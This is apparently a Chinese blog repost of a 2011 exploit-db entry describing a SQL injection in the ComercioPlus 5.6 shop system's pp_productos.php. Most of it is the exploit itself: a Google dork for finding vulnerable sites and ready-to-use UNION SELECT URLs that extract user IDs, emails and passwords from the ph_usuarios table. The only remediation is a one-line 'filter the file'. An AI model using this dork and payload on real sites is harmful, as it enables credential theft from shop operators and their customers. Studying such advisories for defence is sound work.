ComercioPlus 5.6 SQL注入漏洞

转载于 2011-01-30 19:51:00 发布 · 684 阅读

文章标签：

#sql #reference #cms #windows #google #email

ccbz^漏洞整理专栏收录该内容

10 篇文章

订阅专栏

ComercioPlus 5.6版中的pp_productos.php文件存在SQL注入漏洞，可能导致敏感信息泄露。此漏洞涉及PHP编写的虚拟商店系统，攻击者可通过特定请求获取数据库中的信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

ComercioPlus是一款使用PHP编写的虚拟商店系统，ComercioPlus 5.6版中的pp_productos.php文件存在 SQL注入漏洞，可能导致敏感信息泄露。 [+]info:
~~~~~~~~~
# Exploit Title: Comerciosonline CMS SQLi
# Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine "
# Date: 27/01/2011
# Author: Daniel Godoy

# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web:
www.delincuentedigital.com.ar
# Software Link:
http://www.comerciosonline.com/index.php?p=8
# Version: All
# Tested on: Linux, Windows
[+]poc:
~~~~~~~~~
http://localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,5--
http://localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,codigousuario,email,password)+from+ph_usuarios--
[+]Reference:
~~~~~~~~~
http://www.exploit-db.com/exploits/16060
修复：pp_productos.php进行过滤